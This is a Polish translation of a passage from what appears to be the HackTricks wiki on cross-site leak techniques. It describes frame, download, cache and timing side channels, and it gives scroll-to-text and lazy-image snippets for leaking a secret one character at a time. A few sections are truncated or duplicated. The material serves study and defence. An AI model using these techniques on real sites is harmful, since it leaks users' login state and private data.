Ponadto, wykrycie można osiągnąć bez interakcji użytkownika, wykorzystując czasy renderowania linków. Ponieważ przeglądarki mogą renderować odwiedzone i nieodwiedzone linki w inny sposób, może to wprowadzić mierzalną różnicę czasu w renderowaniu. W raporcie błędu Chromium wspomniano o dowodzie koncepcji (PoC), który demonstruje tę technikę za pomocą wielu linków w celu wzmocnienia różnicy czasowej, co umożliwia wykrycie stanu odwiedzenia poprzez analizę czasu.

Aby uzyskać więcej szczegółów na temat tych właściwości i metod, odwied
### Wyciek X-Frame w ContentDocument

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Nagłówki
* **Więcej informacji**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **Podsumowanie**: W przeglądarce Google Chrome, pojawia się dedykowana strona błędu, gdy strona jest blokowana przed osadzeniem na stronie o innym pochodzeniu ze względu na ograniczenia X-Frame-Options.
* **Przykład kodu**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)

W Chrome, jeśli strona z nagłówkiem `X-Frame-Options` ustawionym na "deny" lub "same-origin" jest osadzana jako obiekt, pojawia się strona błędu. Chrome zwraca unikalny pusty obiekt dokumentu (zamiast `null`) dla właściwości `contentDocument` tego obiektu, w przeciwieństwie do iframe'ów lub innych przeglądarek. Atakujący mogą wykorzystać to, wykrywając pusty dokument, potencjalnie ujawniając informacje o stanie użytkownika, zwłaszcza jeśli programiści niespójnie ustawiają nagłówek X-Frame-Options, często pomijając strony błędów. Świadomość i konsekwentne stosowanie nagłówków zabezpieczeń są kluczowe dla zapobiegania takim wyciekom.


### Wykrywanie pobierania

* **Metody włączenia**: Ramki, Wyskakujące okna
* **Wykrywalna różnica**: Nagłówki
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
* **Podsumowanie**: Atakujący może rozpoznać pobieranie plików, wykorzystując iframe'y; kontynuowane dostępność iframe'a sugeruje udane pobranie pliku.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)

Nagłówek `Content-Disposition`, a konkretnie `Content-Disposition: attachment`, instruuje przeglądarkę do pobrania zawartości zamiast wyświetlania jej wewnętrznie. To zachowanie może być wykorzystane do wykrywania, czy użytkownik ma dostęp do strony, która wywołuje pobieranie pliku. W przeglądarkach opartych na Chromium istnieje kilka technik wykrywania tego zachowania pobierania:

1. **Monitorowanie paska pobierania**:
- Gdy plik jest pobierany w przeglądarkach opartych na Chromium, na dole okna przeglądarki pojawia się pasek pobierania.
- Monitorując zmiany wysokości okna, atakujący mogą wnioskować o pojawieniu się paska pobierania, sugerując rozpoczęcie pobierania.

2. **Nawigacja pobierania za pomocą iframe'ów**:
- Gdy strona wywołuje pobieranie pliku za pomocą nagłówka `Content-Disposition: attachment`, nie powoduje to zdarzenia nawigacji.
- Ładując zawartość w iframe'ie i monitorując zdarzenia nawigacji, można sprawdzić, czy nagłówek content disposition powoduje pobranie pliku (brak nawigacji) czy nie.

3. **Nawigacja pobierania bez użycia iframe'ów**:
- Podobnie jak w przypadku techniki z iframe'ami, ta metoda polega na użyciu `window.open` zamiast iframe'a.
- Monitorowanie zdarzeń nawigacji w nowo otwartym oknie może ujawnić, czy zostało wywołane pobieranie pliku (brak nawigacji) czy też zawartość jest wyświetlana wewnętrznie (następuje nawigacja).

W przypadkach, gdy tylko zalogowani użytkownicy mogą wywoływać takie pobrania, te techniki mogą być wykorzystane do pośredniego wnioskowania o stanie uwierzytelnienia użytkownika na podstawie odpowiedzi przeglądarki na żądanie pobrania.

### Bypass partycjonowanego cache HTTP <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>

* **Metody włączenia**: Wyskakujące okna
* **Wykrywalna różnica**: Czas
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
* **Podsumowanie**: Atakujący może rozpoznać pobieranie plików, wykorzystując iframe'y; kontynuowane dostępność iframe'a sugeruje udane pobranie pliku.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (z [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))

{% hint style="warning" %}
To dlatego ta technika jest interesująca: Chrome ma teraz **partycjonowanie pamięci podręcznej**, a klucz pamięci podręcznej nowo otwartej strony to: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`, ale jeśli otworzę stronę ngrok i użyję fetch w niej, klucz pamięci podręcznej będzie: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **klucz pamięci podręcznej jest inny**, więc pamięć podręczna nie może być współdzielona. Więcej szczegółów można znaleźć tutaj: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
(Komentarz z [**tutaj**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
{% endhint %}

Jeśli strona `example.com` zawiera zasób z `*.example.com/resource`, to ten zasób będzie miał **ten sam klucz pamięci podręcznej**, co gdyby zasób był bezpośrednio **żądany przez nawigację na najwyższym poziomie**. Wynika to z faktu, że klucz pamięci podręcznej składa się z _eTLD+1_ na najwyższym poziomie i _eTLD+1_ ramki.

Ponieważ dostęp do pamięci podręcznej jest szybszy niż ładowanie zasobu, można spróbować zmienić lokalizację strony i anulować ją po 20 ms (na przykład). Jeśli po zatrzymaniu nastąpiła zmiana pochodzenia, oznacza to, że zasób został zapisany w pamięci podręcznej.\
Można również **wysłać żądanie fetch do potencjalnie zapisanej w pamięci podręcznej strony i zmierzyć czas**, jaki to zajmuje.

### Ręczne przekierowanie <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **Metody włączenia**: Fetch API
* **Wykrywalna różnica**: Przekierowania
* **Więcej informacji**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_
### Zanieczyszczenie skryptów

* **Metody włączenia**: Elementy HTML (skrypt)
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
* **Podsumowanie**: Możliwe jest **nadpisanie wbudowanych funkcji** i odczytanie ich argumentów nawet z **skryptu międzydomenowego** (który nie może być odczytany bezpośrednio), co może **wyciekać cenne informacje**.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)

### Pracownicy usług <a href="#service-workers" id="service-workers"></a>

* **Metody włączenia**: Wyskakujące okienka
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
* **Podsumowanie**: Mierzenie czasu wykonania strony internetowej za pomocą pracowników usługowych.
* **Przykład kodu**:

W podanym scenariuszu atakujący podejmuje inicjatywę zarejestrowania **pracownika usługowego** w jednej ze swoich domen, konkretnie "attacker.com". Następnie atakujący otwiera nowe okno na stronie docelowej z głównego dokumentu i instruuje **pracownika usługowego** do rozpoczęcia odliczania czasu. Gdy nowe okno zaczyna się ładować, atakujący nawiguje do strony zarządzanej przez **pracownika usługowego** za pomocą uzyskanego wcześniej odnośnika.

Po przybyciu żądania zainicjowanego w poprzednim kroku, **pracownik usługowy** odpowiada kodem stanu **204 (No Content)**, co efektywnie kończy proces nawigacji. W tym momencie **pracownik usługowy** rejestruje pomiar z wcześniej rozpoczętego timera. Ten pomiar jest wpływany przez czas trwania JavaScriptu powodującego opóźnienia w procesie nawigacji.

{% hint style="warning" %}
Podczas pomiaru czasu wykonania możliwe jest **wyeliminowanie** **czynników sieciowych** w celu uzyskania **bardziej precyzyjnych pomiarów**. Na przykład, poprzez wczytanie zasobów używanych przez stronę przed jej załadowaniem.
{% endhint %}

### Pobieranie czasu

* **Metody włączenia**: Interfejs Fetch
* **Wykrywalna różnica**: Czas (zazwyczaj związany z zawartością strony, kodem stanu)
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
* **Podsumowanie**: Użyj [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), aby zmierzyć czas wykonania żądania. Można użyć innych zegarów.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)

### Pomiar czasu międzyokienkowego

* **Metody włączenia**: Wyskakujące okienka
* **Wykrywalna różnica**: Czas (zazwyczaj związany z zawartością strony, kodem stanu)
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
* **Podsumowanie**: Użyj [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), aby zmierzyć czas wykonania żądania za pomocą `window.open`. Można użyć innych zegarów.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społeczności na świecie.\
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Za pomocą HTML lub ponownego wstrzykiwania

Tutaj znajdziesz techniki wydobywania informacji z **wstrzykiwania treści HTML międzydomenowego**. Techniki te są interesujące w przypadkach, gdy z jakiegoś powodu możesz **wstrzykiwać HTML, ale nie możesz wstrzykiwać kodu JS**.

### Wiszące znaczniki

{% content-ref url="dangling-markup-html-scriptless-injection/" %}
[dangling-markup-html-scriptless-injection](dangling-markup-html-scriptless-injection/)
{% endcontent-ref %}

### Opóźnione ładowanie obrazów

Jeśli musisz **wydobyć zawartość** i możesz **dodać HTML przed sekretem**, powinieneś sprawdzić **powszechne techniki wiszących znaczników**.\
Jednak jeśli z jakiegoś powodu **MUSISZ** to zrobić **znak po znaku** (może komunikacja odbywa się za pomocą trafienia w pamięć podręczną), możesz skorzystać z tego triku.

**Obrazy** w HTML mają atrybut "**loading**", którego wartość może być "**lazy**". W takim przypadku obraz zostanie załadowany, gdy zostanie wyświetlony, a nie podczas ładowania strony:
```html
<img src=/something loading=lazy >
```
Dlatego możesz zrobić tak, żeby **dodać dużo niepotrzebnych znaków** (Na przykład **tysiące "W"**) aby **wypełnić stronę internetową przed sekretem lub dodać coś takiego jak** `<br><canvas height="1850px"></canvas><br>.`\
Jeśli na przykład nasze **wstrzyknięcie pojawi się przed flagą**, obrazek zostanie **załadowany**, ale jeśli pojawi się **po** fladze, flaga + śmieci **uniemożliwią jej załadowanie** (musisz eksperymentować z ilością śmieci do umieszczenia). Tak właśnie się stało w [**tym rozwiązaniu**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).

Inną opcją byłoby użycie **scroll-to-text-fragment**, jeśli jest dozwolone:

#### Scroll-to-text-fragment

Jednakże, sprawiasz, że **bot ma dostęp do strony** za pomocą czegoś takiego jak
```
#:~:text=SECR
```
Więc strona internetowa będzie wyglądać mniej więcej tak: **`https://victim.com/post.html#:~:text=SECR`**

Gdzie post.html zawiera niepotrzebne znaki atakującego i obraz ładowany w sposób leniwy, a następnie dodawany jest sekret bota.

Ten tekst spowoduje, że bot uzyska dostęp do dowolnego tekstu na stronie, który zawiera tekst `SECR`. Ponieważ ten tekst to sekret i znajduje się **poniżej obrazu**, obraz zostanie załadowany tylko wtedy, gdy zgadnięty sekret będzie poprawny. Więc masz swoje źródło informacji, aby **wyciekać sekret znak po znaku**.

Przykład kodu do wykorzystania tego: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)

### Opóźnione ładowanie obrazu w zależności od czasu

Jeśli **nie jest możliwe załadowanie zewnętrznego obrazu**, co mogłoby wskazać atakującemu, że obraz został załadowany, inną opcją jest **próba zgadnięcia znaku kilka razy i zmierzenie tego**. Jeśli obraz jest ładowany, wszystkie żądania będą trwały dłużej niż w przypadku, gdy obraz nie jest ładowany. To jest to, co zostało użyte w [**rozwiązaniu tego opisu**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/), **podsumowane tutaj:**

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

### ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %}
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
{% endcontent-ref %}

### CSS ReDoS

Jeśli używane jest `jQuery(location.hash)`, możliwe jest sprawdzenie za pomocą pomiaru czasu, **czy istnieje jakaś zawartość HTML**, ponieważ jeśli selektor `main[id='site-main']` nie pasuje, nie trzeba sprawdzać reszty **selektorów**:
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
### Wstrzykiwanie CSS

{% content-ref url="xs-search/css-injection/" %}
[css-injection](xs-search/css-injection/)
{% endcontent-ref %}

## Obrona

Zalecane są środki zaradcze opisane w [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf), a także w każdej sekcji wiki [https://xsleaks.dev/](https://xsleaks.dev/). Zapoznaj się tam z dodatkowymi informacjami na temat sposobów ochrony przed tymi technikami.

## Odwołania

* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
* [https://xsleaks.dev/](https://xsleaks.dev)
* [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
* [https://xsinator.com/](https://xsinator.com/)
* [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

<details>

<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Inne sposoby wsparcia HackTricks:

* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}